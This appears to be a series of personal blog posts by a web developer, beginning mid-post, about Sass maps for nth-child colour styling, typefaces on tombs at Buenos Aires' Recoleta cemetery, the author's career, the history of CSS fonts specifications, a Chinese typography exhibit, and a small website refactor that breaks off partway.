The thing is, it can take multiple variables, ideal for use in Sass maps. For example:

$colours: (
  green: #7ed321,
  red: #ff595e,
  yellow: #f8e81c,
  blue: #4990e2,
  purple: #db61f4,
);

:root {
  @each $name, $colour in $colours {
    --#{$name}: $colour;
  }
}

/* compiles into */
:root {
  --green: #7ed321;
  --red: #ff595e;
  --yellow: #f8e81c;
  --blue: #4990e2;
  --purple: #db61f4;
}

Over-engineering much?

All that being said, my original problem was to re-use the same colours Sass map to generate the background colours for my set of elements, while using nth-child selectors that were programmatically generated based on the number of colours in the map. Meaning if I added more colours to the map, I didn't have to change anything else.

This was implemented in I came up with this for the implementation of my recently deployed Demos landing page:

@each $name, $colour in $colours {
  section:nth-child(#{length($colours)}n + #{index(($colours), ($name $colour))}) {
    background-color: $colour;
    background-color: colour($name);
    mix-blend-mode: color-dodge;

    a:hover {
      background-color: #444;
      color: $colour;
      color: colour($name);
    }
  }
}

Let me try to explain this. #{length($colours)} gives us the total number of colours in the map, while #{index(($colours), ($name $colour))} returns the index of the named colour in the map. Together, they form the nth-child selector 𝓍n + 𝓍, where 𝓍 is the number of colours in the map.

Wrapping up

Is this the right way to do things? I have no idea. Does it work? Yes. So I'm a bit torn about this. Though it was a fun exercise to learn more about Sass functions. If you have any feedback, I'd love to hear it.

I'm fairly confident there's a much better way to get this done , as proven by my latest CodePen of the Malaysian national flag, where the one and only Ana Tudor forked my pen and made it 10x better! She also made a screencast of the process. #internetisawesome

Further resources

The typefaces of Recoleta

Sun, 25 Jun 2017 00:00:00 GMT

I have a soft spot for stone engravings and whenever I get the chance to travel to a location that has some sort of cemetery or burial ground that is open to the public, I will go check it out. This will probably become a series, so here's the first entry.

I went to Argentina for vacation last year and it was splendid. One of the places we went was the Cementerio de la Recoleta in Buenos Aires. Originally the garden of Basílica Nuestra Señora del Pilar, it became the city's first public cemetery back in 17 November 1822, and was designed by French engineer, Próspero Catelin.

This isn't just any ordinary cemetery, in fact, it's the grandest final resting place I've ever seen thus far. The entire cemetery is laid out like a city, with ornate mausoleums lining the "streets", each with their own unique architectural style. There were plenty of angels and crosses, even gargoyles, adorning the crypts. And what caught my eye were the wide range of font styles used for engraving plaques, or directly etched into the facade itself.

The cemetery itself had modest beginnings when Próspero Catelin was brought in to work on it, introducing the cemetery's city-style streets and blocks. The Recoleta district was transformed from a working class area to an upper-class neighbourhood after a terrible yellow fever epidemic in 1870. Recoleta, which was on a higher terrain, had less of the disease-carrying insects, but only the upper-class families had the means to move there.

However, as victims who died from the epidemic were not allowed to be buried there, the cemetery gradually fell into disrepair. In 1881, the cemetery was renovated and remodelled by Italian architect Juan Antonio Buschiazzo to a neoclassical style, including the grand front entrance with Doric columns. From then on, the mausoleums started to get grander and more elaborate as the city's elite started to move in.

Most of these tombs are architectural masterpieces, many adorned with crosses, statues of winged angels, some with cathedral-style domes and spires. There were various different architectural styles ranging from Neo-Classical to Baroque to Art Nouveau to Modernist. The entire cemetery was laid out like a city, with blocks, walkways and sidewalks that allowed access to each mausoleum.

Spot the gargoyle

Tombs can have bell towers too

Typographic observations

Serifs on stone engravings seem like the most natural combination, like wine and cheese or tea and mooncakes. There have been several theories proposed on the origins of serifs. The inking theory suggests serifs were added to repair extra ink instances on straight lines, while the carving theory posits that widening the ends of straight lines on engravings compensates for the illusion of bulging in the middle.

And tombs, being mostly made of some kind of stone, have serif inscriptions in spades. But again, Recoleta has such a diverse range of styles that are evident from just the serifs alone. I also noticed more classical designs had text engraved into the stone, while engravings in relief tended to appear on the more modern designs.

A condensed old-style

Looks like a transitional

The modern designs tended to use more metals in the designs of the tombs themselves as well. I'm not too familiar with the craft of engraving, but I would think that in relief takes more effort in terms of finishing? Somebody please enlighten me on this.

Old-style in relief

Feels a little off-balance to me though

Shallow engravings usually showed up on dark stone finishes, probably so the lighter tone of the original stone would provide enough contrast for the letters.

Light on dark

Dark on light

Here are a few more serif styles.

The rivets make it steam-punkish

I really like this one

Flourishes weren't all that common though. I guess they might come across as too over-the-top for a tomb? But what do I know? This one actually doesn't look like an engraving, rather, it seems like bronze letters set into marble.

Some of the serifs I considered “fancy”, because I don't have a better word to describe them 😔, but the letter forms are more stylised on these.

Ooo..ball terminals

Look at that A

Thought the E was an A at first

Speaking of relief engraving, there were more of them in sans than in serif. After all this, I really want to meet someone who does engraving, or knows someone who does. I have so many questions! So far, I've managed to find a website for hand engravers, called iGraver, but it'll be nice to chat with an engraver in person.

Could work on a fashion magazine

Modern style tomb

Geometric Sans on stone

Sans and serif

Is it easier to do relief engraving for sans-serifs? Does it boil down to the tools being used? Or is it a design thing, where sans-serifs are suited for modern materials?

Counter-relief

Possibly limestone

Name plate

I also came across a few unique typefaces that really stood out. I guess a tomb can be considered an artistic expression to commemorate those who have passed, which is why every tomb is so unique.

I consider this a display font

Feels kinda Egyptian

Has a very personal touch

Wrapping up

As a Chinese person, visiting the cemetery is an annual affair. For me, it's actually more of a family gathering than the Chinese New Year, as we see much of the extended family during the Qing Ming festival. But it's a very different feeling, visiting a Chinese cemetery versus a European (might be more accurate to say Catholic?) one.

I really like wandering around cemeteries by myself, there's a reverent silence that is a stark contrast to the bustle of daily life that puts me in a pensive mood, as well as a chance to appreciate how different cultures commemorate those who have passed.

Reflecting on this web developer journey

Sun, 11 Jun 2017 00:00:00 GMT

I'm typing this up as I'm sitting at the airport, on my way to St Petersburg, Russia to speak at pitercss conference and it still seems slightly surreal to me. If you are one of a handful of people who actually read the things I write, you might have gleaned that I haven't been doing this very long. This being the web develop-y stuff that I like to write about.

Saddle-up, this is going to be a lengthy non-technical post. You have been warned.

I'm about three decades in now, and I can kind of see a few milestone decisions that have impacted the life I have right now. The one decision that set all this into motion was made when I was seventeen. That I wanted to play basketball at as high a level as I could get to. In a society that valued academic qualifications, I suppose some may see it as a ludicrous decision (but not me, I would do it a thousand times over 😈).

The sister (family, in general)

And yes, I am known to be a stubborn person, but I attribute my conviction to my older sister. To say my sister is exceptional, is an understatement. She was brilliant in school, seemingly without much effort on her part, articulate and very much a people person. Even though I am seven years younger than her, she never talked down to me.

Everyone expected her to do the whole medical school thing that Asian families tend to gravitate toward, but she said no. She decided to become an Occupational Therapist instead, because she knew that was what she wanted to do with her life. I was barely out of primary school when this happened, but I think it left quite a lasting impression on me.

This is a grave generalisation, but the typical life roadmap for an Asian kid is, go to school, get good grades, graduate University, get a respectable job, get married, buy a house and car, have 2.5 kids. My sister said nope, and happily went off the beaten path on her merry way.

When it was my turn, it was a no-brainer. Now, I'm nowhere near as brilliant as my sister, but I got by reasonably well, so a good degree from NUS (National University of Singapore) was probably in the works for me. No thank you, basketball for me, please.

The basketball-related people

Basketball is the most influential thing in my life, because it gave me so much more than an ability to dribble and shoot a ball. It taught me life lessons that would take most people decades to learn, it brought me friends that are essentially family at this point and it gave me opportunities many others never get.

I have a coach who has known me since I was thirteen, so she practically watched me grow up. And the best compliment she ever gave me was not about how many points I scored, or how well I played. She told me, and I'll hold on to this forever, that I finally got over myself. That's the best thing anyone could have ever said to me.

My first experience with the web came about while I was still training full time with the national team back in 2008. The coach trusted me enough and gave me free reign to do whatever I wanted for the association website. And that's how I realised I actually enjoyed doing this stuff. It never felt like work to me.

The first job

After I left the team, I got my first job, at a consulting firm. We'd landed a big contract with a major bank and I was thrust head-first into a multi-million dollar project that had a lot of people's jobs at stake.

Of course, I was too young and stupid to be aware of that and just soaked everything in. My boss was very competent and knew exactly how to get things done, though he may have stepped on quite a few toes along the way.

If there was anything I learnt during my years on a basketball team, it was that rookies paid their dues and kept their mouths shut until we proved we were capable of making positive contributions to the team.

That worked out extremely well for me, as I witnessed first-hand how high-stakes corporate environments really worked. It was great, like swimming with the sharks, but in a protective cage. In spite of his abrasive manner, my boss protected his own people, and I truly appreciated that, more so now that I'm older.

The first web-related job

The next big decision was to come back to Singapore. At the time, I had flirted with the idea that maybe I'd stay on in Malaysia, and continue on with this consulting thing. But pragmatism probably kicked in and I decided to return south. I think my parents were secretly happy I did, though they never mentioned it.

I really agree with Ellen Degeneres' response to Julie Bowen when she said she couldn't imagine how her life would have been had she not done Modern Family:

It would be different, but it would be just as good in a different way.
— Ellen Degeneres

My life would have been very different, maybe not better or worse, but different.

Pixel Onion was the company that took a chance on me. I was barely qualified, having only slapped together two websites before, but I guess I was convincing enough during the interview. It was there that I learnt good habits, like coding standards, responsible git commenting, never hacking core (this is a Drupal thing) and writing code in a team setting. I met my very good friend, Zell, there as well.

Zell is a special human being. And I love that in web development age, he is one year ahead of me. Let me explain. He started his web development career one year before I did, and while we were working together, he was basically my training wheels while I was still figuring out what was going on. This may be largely one-sided, but I have taken it upon myself to be his “hype man”, because he doesn't think he's as awesome as he actually is.

The Twitter people

I started writing blog posts for my own personal benefit, because I needed some way to document code and stuff for future reference. When I started there was no actual blog, so maybe they were more like notes. But I finally hunkered down and built my own website, so they evolved into blog posts from then on.

Because I was such a noob at web development, I desperately wanted to catch up. Went the whole nine yards, really. Subscribing to RSS feeds for web development blogs that I read every day, reading books, going through multiple online courses from Codeacademy to Codeschool to Treehouse, and listening to podcasts, lots of podcasts.

One of my favourites is The Web Ahead by Jen Simmons. There was just something about her ideas and opinions that resonated with me. So I had just listened to her chat with Paul Boag about CSS shapes and that somehow compelled me to write around 1500 words on how awesome they were. I also wrote her a “thank you for inspiring me” note, you know, because that's not weird at all 😆.

And now I actually chat with Jen semi-regularly about design, the web, life and it's amazing (to me, at least). That CSS shapes article was the first thing I wrote that got some traction, and it wasn't even planned. The words practically wrote themselves. I've since continued to write about whatever tickles my fancy, but nothing does that more than CSS anyway.

I've also made friends with so many wonderful people on Twitter, who share my love for web development, CSS and typography, like Roel Nieskens, 裕波 and many many more.

The writing

The first article I wrote for an external publication was Using Responsive Images (Now) for A List Apart. I would never have thought about submitting until Anna Debenham encouraged me to give it a shot. Again, this was a reply from a thank you note I wrote to her. Look, I like telling people they're awesome when they create stuff that benefit me, like blog posts and podcasts, for no charge at all!

I do help out Manoela Ilic AKA Mary Lou with the Codrops CSS reference as well. Her reaching out to me to write for the CSS reference is one of the best things ever, because it gave me the motivation to deep dive into the various CSS specifications and learn things I probably wouldn't have otherwise. I'm pretty sure I wouldn't know as much about CSS grid if I hadn't wrote the reference entry for it.

The speaking

All that writing led to my first meetup talk, which was at talk.JS, because Sayanee Basu thought I ought to talk about the article that I wrote on responsive images. Public speaking was never much of an issue for me, to be honest. I attribute it to my thick skin and act-first-worry-later attitude to life 🤷.

On a whim, Chris Lienert and I decided to launch a meetup centred around CSS, since nothing of the sort existed at the time. It was sort of a sister meetup to talk.JS so we named it Talk.CSS. Look, naming things is hard.

I do go out to other web development meetups when I can, and got to know a bunch of incredible people. One of them being Sebastian Deckers, who asked me to be a guest speaker at the web development course he was teaching at General Assembly at the time. That led to me teaching a couple of workshops on HTML and CSS, which was eye-opening because giving a talk and conducting a workshop are quite different experiences.

If you come to a web development meetup in Singapore, you will not fail to notice the crew of videographers recording every talk. In the early days, it was a one-man-show by Michael Cheng, and now it has grown into a team of dedicated volunteers that form the core of Engineers.sg.

Through Michael, I met Elisha Tan, the spunky founder of TechLadies, who didn't know me well enough at the time to realise how nonsensical I could be when she asked me to be part of a panel at her inaugural TechLadies launch party.

Fortunately, I wasn't as bad a trainwreck as I expected, as Elisha found me decent enough to hold a number of introductory front-end development workshops for TechLadies as well. I now see myself as one of her minions 🙆.

The web development conferences

The first web development conference I ever attended was Form, Function, Class 5, in Manila, which I strong-armed Zell to go with me. It was a wonderful experience. The organisers, PWDO, are incredibly warm and friendly, and the conference was very well run. I also managed to convince Pixel Onion to pay for my ticket to CSSConf.Asia 2014 and that was brilliant too.

So I now had a two-for-two positive experience at web conferences and really wanted to attend more. The following year, Zell was in charge of building the website for CSSConf.Asia 2015 and suggested to Thomas Gorissen, organiser of CSSConf.Asia and JSConf.Asia, that I would make a decent host. I added that I was also an useful source of manual labour, good for doing registration and carrying heavy objects. Hey, all that athletic training has some real-world benefits .

That was Zell's first conference talk, and he was great. I had great time as the host, because I had a front-row seat to a star-studded line-up, became friends with another wonderful human being and fellow Malaysian, Aysha Anggraini. Plus, I didn't have to pay for a ticket. Things went full circle for CSSConf.Asia 2016 when I gave my very first conference talk with Zell and Aysha hosting the event this time.

Being involved with conference organisation actually puts you in closer contact with the speakers, and I got the chance to chat with them, which was great. I'm quite sure I was a little star-struck but I was all chill on the outside 😎. We even managed to get Rachel Andrew to be part of Talk.CSS when she was here. #crowningachievement

The overseas conferences

And then I met a superwoman, Charis Rooda, who put together an exceptional inaugural Webconf.asia with her team, hours and hours of work that culminated into a successful conference. She gave me an opportunity to stand in front of more than a hundred people to talk about a topic that I was really passionate about. Plus front-row seats to top-notch talks by people I really respect.

Vadim Makeev, organiser of pitercss, also thought my talk would work in his line-up and was willing to fly me kilometres to Saint Petersberg, Russia for it. I never thought I'd get an opportunity to even go to that part of the world, but here we are.

A village got me here

I can't really put into words how grateful I am for every person who took a chance on me, who gave me encouragement and opportunities to show what I could do. And there are so many more people I haven't mentioned, especially the group of guys I have had the privilege of working with for the past year and a half. But that requires a separate blog post to do them justice so I'll leave that for another time.

It is a privilege to be able to do what I do, to create stuff for the web, to share what I learnt with others, to have the choice to do something that makes me happy on a daily basis. If you made it this far, I'm thankful that you indulged my naval-gazing so here's a doughnut emoji 🍩.

Much love ❤️.

Tracing the history of CSS fonts

Wed, 10 May 2017 00:00:00 GMT

I love a good origin story, like the origin of Batman in Detective Comics #33, or Kate Kane (the modern version, introduced in 52, not the 1956 one). It gives us greater insight into the motivations and characteristics of any particular thing, be it a character or a specification. Segue! 😈

As part of my perpetual obsession with typography, as well as CSS, I've been looking into how we got to having more web fonts than we can shake a stick at. What I love about how the W3C does things is that there are always links to previous versions of the specification, all the way back to the first drafts.

Although those are missing the full picture of the various discussions and meetings among all the individuals involved in crafting and implementing the specifications, it does offer some clues to how things got to where there are.

The many levels of CSS

You know how sometimes when you fill in your profile for job sites, or some code-related profiles, and they ask what your area of expertise is? Some of those fields are free-form taxonomies and you can see people making a distinction between HTML and HTML5, or CSS and CSS3, as if you need to underscore the point that you are oh-so-current by declaring the “latest” version number?
*at point of writing, emoji of my go-to IRL face of one eyebrow raised is not released yet, please imagine how my face looks*

When CSS started out, there was CSS1 and CSS2 (subsequently, CSS2.1 and CSS2.2). So the impression is that CSS has versions, like software, which increment as each new version gets released. That's not exactly how it works though. Yes, CSS1 and CSS2 were monolithic specifications that covered every CSS property we had, but somewhere along the lines, a decision was made to modularise the specifications.

The advantages of doing so are outlined in the first working draft of the CSS3 roadmap published on 14 April 2000, written by Eric A. Meyer (yes, THE @meyerweb we know and love).

To help clarify the relationships between the different parts of the specification
To reduce the size of the complete document
To allow specific tests to be built on a per module basis
To help implementers decide which portions of CSS to support
To make it possible for individual modules to be updated as needed
To allow for a more flexible and timely evolution of the specification as a whole

By the next revision of the Working Draft in 19 January 2001, there was a breakdown of the entire document into 26 modules, and a lot more work went into refining the roadmap to the version we have right now. The roadmap is currently maintained by Tab Atkins Jr., Elika J. Etemad A.K.A fantasai and Florian Rivoal, and the full list of CSS specifications by module is available on the CSS specifications page.

Rachel Andrew wrote a concise and informative explanation of why there is no CSS4, but here's the explanation stated in the CSS Snapshot:

There is no CSS Level 4. Independent modules can reach level 4 or beyond, but CSS the language no longer has levels. ("CSS Level 3" as a term is used only to differentiate it from the previous monolithic versions.)

Evolution of a CSS specification

CSS specifications do not just magically appear out of thin air. There is a lengthy process with numerous passes before a specification is finalised and becomes a formal standard, or W3C Technical Report, for implementers and authors to reference. Details are covered in the W3C Technical Report Development Process, but here's a general overview.

According to the guidelines, the W3C follows these steps when advancing a technical report to Recommendation.

Publication of the First Public Working Draft,
Publication of zero or more revised Public Working Drafts.
Publication of a Candidate Recommendation.
Publication of a Proposed Recommendation.
Publication as a W3C Recommendation.
Possibly, Publication as an Edited Recommendation

Working Draft (WD)

A Working Draft is a document that W3C has published for review by the community, including W3C Members, the public, and other technical organizations.

Candidate Recommendation (CR)

A Candidate Recommendation is a document that satisfies the Working Group's technical requirements, and has already received wide review.

Proposed Recommendation

A Proposed Recommendation is a document that has been accepted by the W3C Director as of sufficient quality to become a W3C Recommendation.

W3C Recommendation (REC)

A W3C Recommendation is a specification or set of guidelines or requirements that, after extensive consensus-building, has received the endorsement of W3C Members and the Director. W3C recommends the wide deployment of its Recommendations as standards for the Web.

Chasing CSS fonts back in time

17 December 1996 - CSS1 W3C Recommendation
A small section, 5.2, which explains how font matching should be done and defines the initial set of 5 font properties, font-family, font-style, font-variant, font-weight and font-size, as well as the shorthand font. The next version, 11 Jan 1999, of the specification did not add much and this was pretty much what formed the basis of CSS fonts for CSS1 when it became a formal recommendation on 17 Dec 1996.

21 July 1997 - Web fonts Working Draft
A separate group in the W3C (this is my inference, but if I get the chance to talk to Chris Lilley again, I will clarify this) was formed to develop web fonts. It was meant to extend on the CSS1 font model by allowing font descriptions to be added to a style sheet. “The font descriptions consist of a set of font descriptors, individual pieces of information about a font, possibly including a URL where the font can be downloaded.”
*There is an earlier version published on 10 July 1997 but it's W3C members-only access.*

04 November 1997 - CSS2 Working Draft
In CSS2, the fonts section (section 14) had expanded quite a bit. In addition to everything included in CSS1, generic font families were added. The font selection mechanism was extended, including intelligent matching, synthesis, and downloadable fonts. Generally whatever was in the web fonts module we talked about above.
System fonts were now a thing. And there was also this very detailed section on font characteristics, which were not specific to CSS per se, and could be mapped onto VRML (Virtual Reality Modeling Language) nodes, CGM (Computer Graphics Metafile) Application Structures or alternative stylesheet languages. Things pretty much held constant over the next 2 versions, 28 Jan 1998 and 24-Mar-1998. CSS2 became a formal recommendation on 12-May-1998

31 July 2001 - CSS3 Fonts Working Draft
As part of the CSS Style activity, the original CSS2 authors, together with Tantek Çelik, Marcin Sawicki, Michel Suignard and Steve Zilles wrote the first Working Draft of the CSS3 fonts module. It was stated that the module was dependent on two other CSS3 modules, Web Fonts and Text. It covered font matching, and the list of font properties.
*I'm probably going to chase the CSS3 text module next, so stay tuned*

2 August 2002 - CSS2.1 Working Draft
The first revision of CSS2 (aka CSS2.1) was meant to correct errors in the CSS2 specification as well as remove features that were unwanted or obsoleted by CSS3. In this version, there were substantial cuts to the fonts section, with only the bits about font matching and font properties remaining. The removed bits went to the CSS3 Web Fonts module. Web fonts were dropped in this version and here's the explanation from the 20th birthday of CSS feature (those balloons are aces).

First of all there were few fonts whose copyright allowed them to be distributed. Most fonts could be used to print documents locally, but you weren't allowed to put them on the Web.

Secondly, Microsoft and Monotype had developed a format called EOT (Embedded OpenType), which contained inside the fonts the names (URLs) of the documents that could be rendered with them. [...] But, the format was proprietary and nobody else but Microsoft could use it.

Nothing much got updated in this section for the next 5 versions, and you're welcome to verify this for me.

2 August 2002 - CSS3 Web Fonts Working Draft
As mentioned, the cut bits from the CSS2.1 specification went in here, so everything with regards to @font-face and the font descriptors for font selection, as well as font characteristics could be found in this specification. The extended font matching algorithm was also defined here.

2 August 2002 - CSS3 Fonts Working Draft
This was quite a day, as the CSS3 Fonts Working Draft was also updated and now included a section on Font Decoration, with some interesting properties like font-effect, font-smooth, font-emphasize-style, font-emphasize-position and the font-emphasize shorthand.
*Spoiler alert: font-effect has been dropped, and technically doesn't exist, while others have been moved to other modules*

06 November 2006 - CSS2.1 Working Draft
Finally, some action in the CSS2.1 Working Draft fonts section. The font-family section expanded with details on generic font families. The five generic font families are serif, sans-serif, cursive, fantasy and monospace.
Specifically, it mentions that user agents should provide reasonable default choices, which express the characteristics of each family as well as possible within technical limits. There are also proposed examples of font families to be used for different scripts.
This section does not see any more changes for the next five years, and again, feel free to verify this for me.

19 July 2007 - CSS2.1 Candidate Recommendation
23 April 2009
08 September 2009
07 December 2010
12 April 2011 - CSS2.1 Proposed Recommendation
07 June 2011 - CSS2.1 W3C Recommendation

18 June 2009 - CSS Fonts Module Level 3 Working Draft
I bet a lot happened in the seven years between the last working draft and this one but I don't know what happened. What we do know is that this version consolidates all that was previously covered in the CSS3 Fonts module and CSS3 Web Fonts module, into one nice meaty specification. There's also a lovely Typography Background section at the beginning to set up some context for the use cases described later on in the specification. There are illustrative pictures and everything!

The age of modular CSS

Basically, from here on out, the format of the specifications (at least, to my amateur eyes), seems to have standardised quite well. So whatever comes next is just going to be a list of change logs.
For posterity's sake.
Oh, don't give me that look.

24 March 2011 - CSS Fonts Module Level 3 Working Draft

Revised definition of permissible unquoted font family names to match latest CSS 2.1 draft
Added font-kerning property
Added extensions to font-variant property for supporting OpenType font features
Added @font-feature-values rule for defining font-specific variant selectors
Added font-language-override property
Added font-feature-settings property for access to low-level OpenType features
Revised font matching algorithm
Added font-synthesis property

4 October 2011 - CSS Fonts Module Level 3 Working Draft

Made same-origin wording normative and marked it at-risk
Simplified definition of subscript/superscript variant property
Trimmed some font-variant property values and renamed others
Added more examples for various font variant value types
Added DOM interface definitions for @font-feature-values rules

23 August 2012 - CSS Fonts Module Level 3 Working Draft

Based on TPAC resolution, same-origin restriction is normative
Added parameter specifics for using CORS with font loads
Revised fallback handling of subscript/superscript variants
Switched to using CSS3 Values and Units hash notation for comma-delimited lists
Reworked font-family syntax to be clearer about the use of keywords in unquoted font family names
Tightened the syntax of font-feature-settings to only allow four-character tags
Added missing definitions of default values for some properties
Reworked description of default features and added none value for font-variant-ligatures

11 December 2012 - CSS Fonts Module Level 3 Working Draft

Tightened description and fixed errors in description of font-variant-caps
Added auto value to font-size-adjust
Added definition of font load events
Defined explicit steps for font matching grapheme clusters
Added font-stretch values to the font shorthand
Created object model section and revised definition of CSSFontFaceRule
Updated syntax of @font-feature-values rule based on CSS WG resolution
Other light cleaning and dusting

12 February 2013 - CSS Fonts Module Level 3 Working Draft

loadFont method takes a dictionary parameter that includes callbacks
Added example of system font names used as normal font family name
Added conformance section
Added CORS cross-origin request algorithm parameters
Added specification of Unicode caseless matching for font family names based on WG resolution
Include issue of synthetic oblique angle in CJK vertical text runs
Minor editorial tweaks hither and thither

11 July 2013 - CSS Fonts Module Level 3 Last Call Working Draft

Moved font load events into a separate spec
Tightened syntax rules for @font-feature-values rules
Added grammar productions for @font-face and @font-feature-values rules
Revised definition of unicode-range descriptor
Detailed font matching of composite faces
Revised object model interface of CSSFontFeatureValuesRule
Detailed effect of font-size-adjust on relative unit sizes
Reference the potentially CORS-enabled fetch method defined in HTML5

3 October 2013 - CSS Fonts Module Level 3 Candidate Recommendation

reorder feature precedence such that features implied by other CSS properties override font-variant settings
switched examples to use .woff files
revised wording of font fetching algorithm
drop auto value for font-size-adjust
clarify effect of font-size-adjust on line-height
allow user agents to synthesize OpenType kern feature
add example of ordinals and associated markup
minor editorial cleanups

Let's talk about Editor's Drafts

According to the guidelines for writing CSS specifications,

Working Groups and Interest Groups may make available “Editor's drafts”. Editor's drafts have no official standing whatsoever, and do not necessarily imply consensus of a Working Group or Interest Group, nor are their contents endorsed in any way by W3C.

Regardless, these documents are still interesting to read because they give us a peek into how the specifications are being worked out. There are footnotes and comments and questions wherever clarifications are needed. Personally, I appreciate the transparency of the entire process, as well as the sheer amount of effort it takes to refine a specification to a state where it can be deemed a proper standard.

For the CSS Fonts Module Level 3, a few changes have been made in the latest Editor’s Draft dated 19 January 2016, as of time of writing. So if you’re reading this far in the future, the link probably won’t be dated as such any more.

add omitted font-variant-position values to font-variant shorthand
make negative values for font-size-adjust invalid, along with negative percentage font-size values
remove the requirement that user agents use OS/2 table subscript/superscript metrics
minor editorial cleanups

The CSS Fonts Module Level 4 covers new features (which I am excited about), like font variation properties and colour font support. Again, the Editor's Draft I'm referring to at time of writing is dated 10 May 2017, but this will definitely change when you try to access and read it.

Font variation properties

Font variation properties address the CSS properties that deal with variable fonts, which were announced at the ATypl conference in Warsaw on 14 September, 2016 to much fanfare (at least amongst those of us who are typophiles). Basically, it is a single font file that can perform interpolation to cover various weights. This behaviour is defined version 1.8 of the OpenType font format specification.

Colour fonts

Not much has been written about CSS colour fonts at the moment, and I suppose its because colour fonts are relatively new (with regards to CSS, not in general, because they've been around forever) but this is what I gleaned from the document.

We get a font-palette property that allows us to pick the palette of the colour font we're using, which brings us to the @font-palette-values rule. This rule allows us to define a colour palette and associate it with a specific font. This is the example I pulled from the document:

@font-palette-values Augusta {
  font-family: Handover Sans;
  base-palette: 3;
  1: rgb(43, 12, 9);
  3: var(--highlight);
}

As with the @font-face rule, there are a number of font descriptors you can use in the @font-palette-values rule as well, like font-family, base-palette, <integer> and font-presentation. I need more time to dig in and wrap my head around this so just some superficial coverage for now, but did I mention I'm excited? I'm so excited! 💃🍷🎊

Wrapping up

So that's it for this inaugural edition of “Chasing the Spec”, that it, if I decide to continue and make it a series. 🤓 Maybe. Depends on my mood. 😏 We'll see. Life happens. 🤷

A mini Chinese typography exhibit

Tue, 09 May 2017 00:00:00 GMT

So I haven't exactly been in the pink of health lately, and have been more or less confined to being at home until probably June. And me being restless me, will still attempt to wander the city when I get the chance (okay I'm misbehaving, but I try to be good the rest of the time 🙇‍♀️). But anyway, I went to the National Library today! Other than another haul of books, I came across this lovely mini exhibition on Chinese typography.

I said it was mini...

I was, naturally, drawn to the bits about Chinese writing and printing. Here, they cover some materials for Chinese writing, like the ink stone, paper and brushes.

Basics of Chinese writing

What is an inkstone?

This is an inkstone

What is a brush?

This is a brush

Chinese invented paper, FYI

Seals were the pre-cursor to printing, and they're actually pretty universal, considering they were used in Ancient Greece and Rome, Mesopotamia, and of course, Ancient China. Continued to be used during the Middle Ages, and last I checked, my company needed to have a seal and a stamp. How's that for timeless?

Chinese seals look the best IMO

And my favourite bit on moveable type! Learnt so much about it this past month, what with all the research for 2 talks I will be giving in June. Excited to be part of Webconf.Asia and pitercss conference 🙆.

Casting types

Selecting types for typesetting

There's also some other bits on type specimens in the wild, and uses in everyday life.

The type of temples

Anyhoo, if you happen to be in Singapore, and are remotely interested in Chinese typography at all, drop by the National Library and check it out. Then go downstairs (or upstairs to the massive reference section) and wish you could live there (okay, that's just me) among the glorious selection of books.

P.S. Across the street, there is also an AWESOME exhibition on the art of Assassin's Creed, which runs till Thursday, 25 May 2017 at the National Design Centre. It's officially called The Art Behind The Game – The Ubisoft Experience and it's practically a fine art exhibition because the artwork is so so so good! Here's a sneak peek (seriously, my phone camera does not do the artwork any justice).

This is a gorgeous ship

And here's another gorgeous ship

Locations

National Library of Singapore (map), 100 Victoria St, Singapore 188064
National Design Centre (map), 111 Middle Rd, Singapore 188969

The one in a minimalist hacker chic

Thu, 30 Mar 2017 00:00:00 GMT

I have an Argentinian friend. Not an acquaintance. A proper good friend. This is highly improbable, at least in my mind. Argentina is about 15,690km away from Singapore. In a different continent, across a large ocean, with a different culture. But by a random twist of fate, and an honest mistake, I gained a friend from halfway around the world, who is also a developer.

So my friend runs Epyphite, a technology company focused on Data Science and Machine Learning. He's a great software engineer, plus a really good guy, and he doesn't like front-end web development very much. Which works out just fine because I love front-end web development. Long story short, he slapped together a website for Epyphite, because it's necessary to have a web presence, then got on with aspects of his work that he found more palatable.

One fine day, I found myself with a spare afternoon, and decided to do something about the Epyphite website, which he was more than happy to let me run riot on. He just mentioned that the guys liked the existing colour scheme. Great, with that in mind, let's see what could be done in one afternoon. Spoiler alert: 👇

Phase 1: Evaluating the present

This wasn't a complicated site. It was a brochure site to provide information about the company, what they did and their contact details. The site used Node.js on the backend and EJS as the templating language. My plan was to go in and get out with minimal disruption to the server and back-end setup. So there was no rewrite of any back-end architecture, no touching of the server.js file, none of that.

The way the site was setup, it was pretty easy to see where the relevant files and folders were. For the HTML, the EJS files were in the Views folder and for the theme, the CSS, fonts, images etc. were in the Static folder. After clicking through every link on the site, I ascertained that there were only 2 pages, the home page and the about page. No JavaScript was necessary for this particular site either.

I wasn't joking when I said the site was slapped together. There were a lot of files and libraries that were not relevant in the slightest. The site itself didn't look that bad, but it definitely could be better.

Conclusion: wipe everything from those 2 folders and rewrite from scratch.

Phase 2: Spring-cleaning

As I was planning to rewrite everything from scratch, this wasn't as complicated as it could have been. If you're not familiar with EJS, it's pretty much HTML but with the ability to use includes for shared components across pages. After purging all the irrelevant files, I was left with 3 includes, head.ejs, header.ejs, footer.ejs and 2 pages, index.ejs and about.ejs.

The first thing was to sort out the meta data of the site in the <head> element. With reference to Josh Buchea's recommended minimum of what should go into the HEAD element, these are what I put in there. I added the description and author meta tags as well.

<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<meta
  name="description"
  content="Epyphite creates solutions that leverage the latest techniques in Artificial Intelligence to help businesses solve complex problems."
/>
<meta name="author" content="Epyphite" />

<title>Epyphite - Without roots. Everywhere.</title>

I am also a stickler for sites having a favicon. I mean, I know it's not mandatory, but I just very much prefer a site has one. Given that redesigning the logo is totally out of scope for this endeavour, I copped out by using the letter E enclosed in a circle. 🤷

So the next bit of stuff is relevant to favicons. I like using RealFaviconGenerator for my favicon generation needs.

<link rel="apple-touch-icon" sizes="180x180" href="/favicons/apple-touch-icon.png" />
<link rel="icon" type="image/png" href="/favicons/favicon-32x32.png" sizes="32x32" />
<link rel="icon" type="image/png" href="/favicons/favicon-16x16.png" sizes="16x16" />
<link rel="manifest" href="/favicons/manifest.json" />
<link rel="mask-icon" href="/favicons/safari-pinned-tab.svg" color="#28c3ab" />
<link rel="shortcut icon" href="/favicons/favicon.ico" />
<meta name="msapplication-config" content="/favicons/browserconfig.xml" />
<meta name="theme-color" content="#ffffff" />

And finally, the single CSS file that would contain all the necessary styles for styling this site.

<link href="/css/styles.min.css" rel="stylesheet" />

Everything in the Static folder was purged so we could move on with a nice clean slate.

Phase 3: Just a bit of art direction

The point wasn't so much a redesign of the site but more of a refactor and cleanup. So I wasn't planning on going full scale change-all-the-things mode. We were definitely going to stick to the original colour palette which was white on black and #28c3ab (or light sea green, if you like colour names) for the accents.

